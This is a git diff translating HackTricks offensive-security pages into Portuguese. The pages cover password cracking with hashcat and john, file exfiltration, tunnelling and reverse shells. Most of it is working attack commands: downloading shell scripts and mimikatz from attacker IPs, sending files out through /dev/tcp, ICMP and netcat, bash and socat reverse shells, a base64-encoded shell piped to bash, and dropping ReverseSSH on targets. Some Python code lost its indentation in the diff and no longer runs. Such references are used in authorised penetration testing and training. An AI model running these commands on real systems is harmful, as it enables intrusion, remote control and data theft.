+### Imagem Luks
 
-### Lucks image
-
-#### Method 1
-
-Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
+#### Método 1
 
+Instalar: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
 ```bash
 bruteforce-luks -f ./list.txt ./backup.img
 cryptsetup luksOpen backup.img mylucksopen
 ls /dev/mapper/ #You should find here the image mylucksopen
 mount /dev/mapper/mylucksopen /mnt
 ```
-
-#### Method 2
-
+#### Método 2
 ```bash
 cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
@@ -703,39 +560,33 @@ cryptsetup luksOpen backup.img mylucksopen
 ls /dev/mapper/ #You should find here the image mylucksopen
 mount /dev/mapper/mylucksopen /mnt
 ```
-
-Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
+Outro tutorial de Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
 
 ### Mysql
-
 ```bash
 #John hash format
 :$mysqlna$*
 dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
 ```
-
-### PGP/GPG Private key
-
+### Chave privada PGP/GPG
 ```bash
 gpg2john private_pgp.key #This will generate the hash and save it in a file
 john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
 ```
-
 ### Cisco
 
 

 
-### DPAPI Master Key
+### Chave Mestra DPAPI
 
-Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john
+Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e depois john
 
-### Open Office Pwd Protected Column
+### Coluna Protegida por Senha do Open Office
 
-If you have an xlsx file with a column protected by a password you can unprotect it:
-
-- **Upload it to google drive** and the password will be automatically removed
-- To **remove** it **manually**:
+Se você tiver um arquivo xlsx com uma coluna protegida por senha, você pode desprotegê-la:
 
+- **Faça o upload para o google drive** e a senha será removida automaticamente
+- Para **remover** **manualmente**:
 ```bash
 unzip file.xlsx
 grep -R "sheetProtection" ./*
@@ -744,76 +595,56 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV
 # Remove that line and rezip the file
 zip -r file.xls .
 ```
-
-### PFX Certificates
-
+### Certificados PFX
 ```bash
 # From https://github.com/Ridter/p12tool
 ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
 # From https://github.com/crackpkcs12/crackpkcs12
 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
 ```
+## Ferramentas
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
-
-## Tools
-
-**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
-
-### Hash-identifier
+**Exemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
 
+### Identificador de hash
 ```bash
 hash-identifier
 > 
 ```
-
-### Wordlists
+### Listas de Palavras
 
 - **Rockyou**
 - [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
 - [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
 - [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
 
-### **Wordlist Generation Tools**
-
-- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes.
+### **Ferramentas de Geração de Listas de Palavras**
 
+- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gerador avançado de teclado com caracteres base configuráveis, mapeamento de teclas e rotas.
 ```bash
 kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
 ```
+### Mutação do John
 
-### John mutation
-
-Read _**/etc/john/john.conf**_ and configure it
-
+Leia _**/etc/john/john.conf**_ e configure-o
 ```bash
 john --wordlist=words.txt --rules --stdout > w_mutated.txt
 john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
 ```
-
 ### Hashcat
 
-#### Hashcat attacks
+#### Ataques do Hashcat
 
-- **Wordlist attack** (`-a 0`) with rules
-
-**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
+- **Ataque de lista de palavras** (`-a 0`) com regras
 
+**Hashcat** já vem com uma **pasta contendo regras**, mas você pode encontrar [**outras regras interessantes aqui**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
 ```
 hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
 ```
+- **Ataque combinador de wordlist**
 
-- **Wordlist combinator** attack
-
-It's possible to **combine 2 wordlists into 1** with hashcat.\
-If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated.
-
+É possível **combinar 2 wordlists em 1** com hashcat.\
+Se a lista 1 contiver a palavra **"hello"** e a segunda contiver 2 linhas com as palavras **"world"** e **"earth"**. As palavras `helloworld` e `helloearth` serão geradas.
 ```bash
 # This will combine 2 wordlists
 hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@@ -824,9 +655,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
 ## hello-earth!
 hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
 ```
-
-- **Mask attack** (`-a 3`)
-
+- **Ataque de máscara** (`-a 3`)
 ```bash
 # Mask attack with simple mask
 hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
@@ -858,9 +687,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
 ## Use it to crack the password
 hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
 ```
-
-- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack
-
+- Ataque Wordlist + Máscara (`-a 6`) / Máscara + Wordlist (`-a 7`)
 ```bash
 # Mask numbers will be appended to each word in the wordlist
 hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@@ -868,47 +695,30 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
 # Mask numbers will be prepended to each word in the wordlist
 hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
 ```
-
-#### Hashcat modes
-
+#### Modos do Hashcat
 ```bash
 hashcat --example-hashes | grep -B1 -A2 "NTLM"
 ```
-
-Cracking Linux Hashes - /etc/shadow file
-
+Quebrando Hashes do Linux - arquivo /etc/shadow
 ```
- 500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
+500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
 3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
 7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
 1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems
 ```
-
-Cracking Windows Hashes
-
+Quebrando Hashes do Windows
 ```
 3000 | LM                                               | Operating-Systems
 1000 | NTLM                                             | Operating-Systems
 ```
-
-Cracking Common Application Hashes
-
+Quebrando Hashes Comuns de Aplicação
 ```
-  900 | MD4                                              | Raw Hash
-    0 | MD5                                              | Raw Hash
- 5100 | Half MD5                                         | Raw Hash
-  100 | SHA1                                             | Raw Hash
+900 | MD4                                              | Raw Hash
+0 | MD5                                              | Raw Hash
+5100 | Half MD5                                         | Raw Hash
+100 | SHA1                                             | Raw Hash
 10800 | SHA-384                                          | Raw Hash
- 1400 | SHA-256                                          | Raw Hash
- 1700 | SHA-512                                          | Raw Hash
+1400 | SHA-256                                          | Raw Hash
+1700 | SHA-512                                          | Raw Hash
 ```
-
 {{#include ../banners/hacktricks-training.md}}
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md
index 2e5c0c1dd..91aabb01b 100644
--- a/src/generic-hacking/exfiltration.md
+++ b/src/generic-hacking/exfiltration.md
@@ -1,40 +1,33 @@
-# Exfiltration
+# Exfiltração
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Commonly whitelisted domains to exfiltrate information
+## Domínios comumente liberados para exfiltrar informações
 
-Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused
+Verifique [https://lots-project.com/](https://lots-project.com/) para encontrar domínios comumente liberados que podem ser abusados
 
-## Copy\&Paste Base64
+## Copiar\&Colar Base64
 
 **Linux**
-
 ```bash
 base64 -w0  #Encode file
 base64 -d file #Decode file
 ```
-
 **Windows**
-
 ```
 certutil -encode payload.dll payload.b64
 certutil -decode payload.b64 payload.dll
 ```
-
 ## HTTP
 
 **Linux**
-
 ```bash
 wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
 wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
 curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
 fetch 10.10.14.14:8000/shell.py #FreeBSD
 ```
-
 **Windows**
-
 ```bash
 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
@@ -49,13 +42,11 @@ Start-BitsTransfer -Source $url -Destination $output
 #OR
 Start-BitsTransfer -Source $url -Destination $output -Asynchronous
 ```
-
-### Upload files
+### Upload de arquivos
 
 - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
-- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
-- Python module [uploadserver](https://pypi.org/project/uploadserver/):
-
+- [**SimpleHttpServer imprimindo GET e POSTs (também cabeçalhos)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
+- Módulo Python [uploadserver](https://pypi.org/project/uploadserver/):
 ```bash
 # Listen to files
 python3 -m pip install --user uploadserver
@@ -68,9 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
 # With basic auth:
 # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
 ```
-
-### **HTTPS Server**
-
+### **Servidor HTTPS**
 ```python
 # from https://gist.github.com/dergachev/7028596
 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@@ -105,31 +94,25 @@ from urllib.parse import quote
 app = Flask(__name__)
 @app.route('/')
 def root():
-    print(request.get_json())
-    return "OK"
+print(request.get_json())
+return "OK"
 if __name__ == "__main__":
-    app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
+app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
 ###
 ```
-
 ## FTP
 
-### FTP server (python)
-
+### Servidor FTP (python)
 ```bash
 pip3 install pyftpdlib
 python3 -m pyftpdlib -p 21
 ```
-
-### FTP server (NodeJS)
-
+### Servidor FTP (NodeJS)
 ```
 sudo npm install -g ftp-srv --save
 ftp-srv ftp://0.0.0.0:9876 --root /tmp
 ```
-
-### FTP server (pure-ftp)
-
+### Servidor FTP (pure-ftp)
 ```bash
 apt-get update && apt-get install pure-ftp
 ```
@@ -147,9 +130,7 @@ mkdir -p /ftphome
 chown -R ftpuser:ftpgroup /ftphome/
 /etc/init.d/pure-ftpd restart
 ```
-
-### **Windows** client
-
+### **Cliente** Windows
 ```bash
 #Work well with python. With pure-ftp use fusr:ftp
 echo open 10.11.0.41 21 > ftp.txt
@@ -160,37 +141,31 @@ echo GET mimikatz.exe >> ftp.txt
 echo bye >> ftp.txt
 ftp -n -v -s:ftp.txt
 ```
-
 ## SMB
 
-Kali as server
-
+Kali como servidor
 ```bash
 kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
 kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
 #For new Win10 versions
 impacket-smbserver -smb2support -user test -password test test `pwd`
 ```
-
-Or create a smb share **using samba**:
-
+Ou crie um compartilhamento smb **usando samba**:
 ```bash
 apt-get install samba
 mkdir /tmp/smb
 chmod 777 /tmp/smb
 #Add to the end of /etc/samba/smb.conf this:
 [public]
-    comment = Samba on Ubuntu
-    path = /tmp/smb
-    read only = no
-    browsable = yes
-    guest ok = Yes
+comment = Samba on Ubuntu
+path = /tmp/smb
+read only = no
+browsable = yes
+guest ok = Yes
 #Start samba
 service smbd restart
 ```
-
 Windows
-
 ```bash
 CMD-Wind> \\10.10.14.14\path\to\exe
 CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@@ -198,54 +173,42 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia
 WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
 WindPS-2> cd new_disk:
 ```
-
 ## SCP
 
-The attacker has to have SSHd running.
-
+O atacante deve ter o SSHd em execução.
 ```bash
 scp @:/
 ```
-
 ## SSHFS
 
-If the victim has SSH, the attacker can mount a directory from the victim to the attacker.
-
+Se a vítima tiver SSH, o atacante pode montar um diretório da vítima para o atacante.
 ```bash
 sudo apt-get install sshfs
 sudo mkdir /mnt/sshfs
 sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/
 ```
-
 ## NC
-
 ```bash
 nc -lvnp 4444 > new_file
 nc -vn  4444 < exfil_file
 ```
-
 ## /dev/tcp
 
-### Download file from victim
-
+### Baixar arquivo da vítima
 ```bash
 nc -lvnp 80 > file #Inside attacker
 cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
 ```
-
-### Upload file to victim
-
+### Enviar arquivo para a vítima
 ```bash
 nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
 # Inside victim
 exec 6< /dev/tcp/10.10.10.10/4444
 cat <&6 > file.txt
 ```
-
-thanks to **@BinaryShadow\_**
+graças a **@BinaryShadow\_**
 
 ## **ICMP**
-
 ```bash
 # To exfiltrate the content of a file via pings you can do:
 xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done
@@ -256,64 +219,50 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line   
 ```
-
-In **victim**, connect to the Kali server:
-
+Em **vítima**, conecte-se ao servidor Kali:
 ```bash
 tftp -i  get nc.exe
 ```
-
 ## PHP
 
-Download a file with a PHP oneliner:
-
+Baixe um arquivo com um oneliner PHP:
 ```bash
 echo "" > down2.php
 ```
-
 ## VBScript
-
 ```bash
 Attacker> python -m SimpleHTTPServer 80
 ```
-
-**Victim**
-
+**Vítima**
 ```bash
 echo strUrl = WScript.Arguments.Item(0) > wget.vbs
 echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
@@ -345,23 +294,16 @@ echo ts.Close >> wget.vbs
 ```bash
 cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
 ```
-
 ## Debug.exe
 
-The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**.
-
+O programa `debug.exe` não apenas permite a inspeção de binários, mas também tem a **capacidade de reconstruí-los a partir de hex**. Isso significa que, ao fornecer um hex de um binário, o `debug.exe` pode gerar o arquivo binário. No entanto, é importante notar que o debug.exe tem uma **limitação de montagem de arquivos de até 64 kb de tamanho**.
 ```bash
 # Reduce the size
 upx -9 nc.exe
 wine exe2bat.exe nc.exe nc.txt
 ```
-
-Then copy-paste the text into the windows-shell and a file called nc.exe will be created.
-
-- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
+Em seguida, cole o texto no windows-shell e um arquivo chamado nc.exe será criado.
 
 ## DNS
 
-- [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/reverse-shells/README.md b/src/generic-hacking/reverse-shells/README.md
index 9f8253367..f7e265550 100644
--- a/src/generic-hacking/reverse-shells/README.md
+++ b/src/generic-hacking/reverse-shells/README.md
@@ -8,7 +8,7 @@
 
 # [**Full TTYs**](full-ttys.md)
 
-# **Auto-generated shells**
+# **Shells geradas automaticamente**
 
 - [**https://reverse-shell.sh/**](https://reverse-shell.sh/)
 - [**https://www.revshells.com/**](https://www.revshells.com/)
diff --git a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md
index b52276fda..068643d26 100644
--- a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md
+++ b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md
@@ -1,13 +1,12 @@
-# Expose local to the internet
+# Expor local para a internet
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**The goal of this page is to propose alternatives that allow AT LEAST to expose local raw TCP ports and local webs (HTTP) to the internet WITHOUT needing to install anything in the other server (only in local if needed).**
+**O objetivo desta página é propor alternativas que permitam, NO MÍNIMO, expor portas TCP brutas locais e webs locais (HTTP) para a internet SEM precisar instalar nada no outro servidor (apenas local, se necessário).**
 
 ## **Serveo**
 
-From [https://serveo.net/](https://serveo.net/), it allows several http and port forwarding features **for free**.
-
+De [https://serveo.net/](https://serveo.net/), permite vários recursos de encaminhamento de http e portas **gratuitamente**.
 ```bash
 # Get a random port from serveo.net to expose local port 4444
 ssh -R 0:localhost:4444 serveo.net
@@ -15,11 +14,9 @@ ssh -R 0:localhost:4444 serveo.net
 # Expose a web listening in localhost:300 in a random https URL
 ssh -R 80:localhost:3000 serveo.net
 ```
-
 ## SocketXP
 
-From [https://www.socketxp.com/download](https://www.socketxp.com/download), it allows to expose tcp and http:
-
+Do [https://www.socketxp.com/download](https://www.socketxp.com/download), permite expor tcp e http:
 ```bash
 # Expose tcp port 22
 socketxp connect tcp://localhost:22
@@ -27,11 +24,9 @@ socketxp connect tcp://localhost:22
 # Expose http port 8080
 socketxp connect http://localhost:8080
 ```
-
 ## Ngrok
 
-From [https://ngrok.com/](https://ngrok.com/), it allows to expose http and tcp ports:
-
+Do [https://ngrok.com/](https://ngrok.com/), permite expor portas http e tcp:
 ```bash
 # Expose web in 3000
 ngrok http 8000
@@ -39,11 +34,9 @@ ngrok http 8000
 # Expose port in 9000 (it requires a credit card, but you won't be charged)
 ngrok tcp 9000
 ```
-
 ## Telebit
 
-From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http and tcp ports:
-
+A partir de [https://telebit.cloud/](https://telebit.cloud/) permite expor portas http e tcp:
 ```bash
 # Expose web in 3000
 /Users/username/Applications/telebit/bin/telebit http 3000
@@ -51,11 +44,9 @@ From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http a
 # Expose port in 9000
 /Users/username/Applications/telebit/bin/telebit tcp 9000
 ```
-
 ## LocalXpose
 
-From [https://localxpose.io/](https://localxpose.io/), it allows several http and port forwarding features **for free**.
-
+Do [https://localxpose.io/](https://localxpose.io/), ele permite vários recursos de encaminhamento http e de porta **gratuitamente**.
 ```bash
 # Expose web in port 8989
 loclx tunnel http -t 8989
@@ -63,11 +54,9 @@ loclx tunnel http -t 8989
 # Expose tcp port in 4545 (requires pro)
 loclx tunnel tcp --port 4545
 ```
-
 ## Expose
 
-From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp ports:
-
+Do [https://expose.dev/](https://expose.dev/) permite expor portas http e tcp:
 ```bash
 # Expose web in 3000
 ./expose share http://localhost:3000
@@ -75,14 +64,11 @@ From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp
 # Expose tcp port in port 4444 (REQUIRES PREMIUM)
 ./expose share-port 4444
 ```
-
 ## Localtunnel
 
-From [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) it allows to expose http for free:
-
+Do [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) permite expor http gratuitamente:
 ```bash
 # Expose web in port 8000
 npx localtunnel --port 8000
 ```
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/reverse-shells/full-ttys.md b/src/generic-hacking/reverse-shells/full-ttys.md
index 32d0eb1d5..d4ce7cf7c 100644
--- a/src/generic-hacking/reverse-shells/full-ttys.md
+++ b/src/generic-hacking/reverse-shells/full-ttys.md
@@ -2,36 +2,25 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
-
 ## Full TTY
 
-Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`.
+Observe que o shell que você define na variável `SHELL` **deve** estar **listado dentro** de _**/etc/shells**_ ou `O valor da variável SHELL não foi encontrado no arquivo /etc/shells. Este incidente foi relatado`. Além disso, note que os próximos trechos funcionam apenas no bash. Se você estiver em um zsh, mude para um bash antes de obter o shell executando `bash`.
 
 #### Python
-
 ```bash
 python3 -c 'import pty; pty.spawn("/bin/bash")'
 
 (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
 ```
-
 > [!NOTE]
-> You can get the **number** of **rows** and **columns** executing **`stty -a`**
+> Você pode obter o **número** de **linhas** e **colunas** executando **`stty -a`**
 
 #### script
-
 ```bash
 script /dev/null -qc /bin/bash #/dev/null is to not store anything
 (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
 ```
-
 #### socat
-
 ```bash
 #Listener:
 socat file:`tty`,raw,echo=0 tcp-listen:4444
@@ -39,7 +28,6 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444
 #Victim:
 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
 ```
-
 ### **Spawn shells**
 
 - `python -c 'import pty; pty.spawn("/bin/sh")'`
@@ -57,39 +45,32 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
 
 ## ReverseSSH
 
-A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target.
+Uma maneira conveniente para **acesso a shell interativo**, bem como **transferências de arquivos** e **encaminhamento de portas**, é colocar o servidor ssh estáticamente vinculado [ReverseSSH](https://github.com/Fahrj/reverse-ssh) no alvo.
 
-Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/).
-
-1. Prepare locally to catch the ssh port forwarding request:
+Abaixo está um exemplo para `x86` com binários comprimidos com upx. Para outros binários, verifique a [página de lançamentos](https://github.com/Fahrj/reverse-ssh/releases/latest/).
 
+1. Prepare localmente para capturar a solicitação de encaminhamento de porta ssh:
 ```bash
 # Drop it via your preferred way, e.g.
 wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
 
 /dev/shm/reverse-ssh -v -l -p 4444
 ```
-
-- (2a) Linux target:
-
+- (2a) Alvo Linux:
 ```bash
 # Drop it via your preferred way, e.g.
 wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
 
 /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
 ```
-
-- (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)):
-
+- (2b) Alvo Windows 10 (para versões anteriores, ver [project readme](https://github.com/Fahrj/reverse-ssh#features)):
 ```bash
 # Drop it via your preferred way, e.g.
 certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
 
 reverse-ssh.exe -p 4444 kali@10.0.0.2
 ```
-
-- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`:
-
+- Se o pedido de encaminhamento de porta ReverseSSH foi bem-sucedido, você deve agora conseguir fazer login com a senha padrão `letmeinbrudipls` no contexto do usuário que está executando `reverse-ssh(.exe)`:
 ```bash
 # Interactive shell access
 ssh -p 8888 127.0.0.1
@@ -97,25 +78,16 @@ ssh -p 8888 127.0.0.1
 # Bidirectional file transfer
 sftp -P 8888 127.0.0.1
 ```
-
 ## Penelope
 
-[Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells.
+[Penelope](https://github.com/brightio/penelope) atualiza automaticamente shells reversas do Linux para TTY, gerencia o tamanho do terminal, registra tudo e muito mais. Também fornece suporte a readline para shells do Windows.
 
 ![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e)
 
-## No TTY
-
-If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file:
+## Sem TTY
 
+Se por algum motivo você não conseguir obter um TTY completo, você **ainda pode interagir com programas** que esperam entrada do usuário. No exemplo a seguir, a senha é passada para `sudo` para ler um arquivo:
 ```bash
 expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact'
 ```
-
-

-
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/reverse-shells/linux.md b/src/generic-hacking/reverse-shells/linux.md
index c1caa101d..623b0df70 100644
--- a/src/generic-hacking/reverse-shells/linux.md
+++ b/src/generic-hacking/reverse-shells/linux.md
@@ -2,14 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com)
+**Se você tiver perguntas sobre qualquer uma dessas shells, você pode verificá-las em** [**https://explainshell.com/**](https://explainshell.com)
 
 ## Full TTY
 
-**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.**
+**Uma vez que você obtenha uma reverse shell**[ **leia esta página para obter um full TTY**](full-ttys.md)**.**
 
 ## Bash | sh
-
 ```bash
 curl https://reverse-shell.sh/1.1.1.1:3000 | bash
 bash -i >& /dev/tcp// 0>&1
@@ -22,11 +21,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5;
 #after getting the previous shell to get the output to execute
 exec >&0
 ```
+Não se esqueça de verificar com outros shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh e bash.
 
-Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.
-
-### Symbol safe shell
-
+### Shell seguro de símbolos
 ```bash
 #If you need a more stable connection do:
 bash -c 'bash -i >& /dev/tcp// 0>&1'
@@ -35,74 +32,66 @@ bash -c 'bash -i >& /dev/tcp// 0>&1'
 #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
 ```
+#### Explicação da shell
 
-#### Shell explanation
-
-1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell.
-2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**.
-3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**.
-   - By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine.
-4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**.
-
-### Create in file and execute
+1. **`bash -i`**: Esta parte do comando inicia uma shell Bash interativa (`-i`).
+2. **`>&`**: Esta parte do comando é uma notação abreviada para **redirecionar tanto a saída padrão** (`stdout`) quanto **o erro padrão** (`stderr`) para o **mesmo destino**.
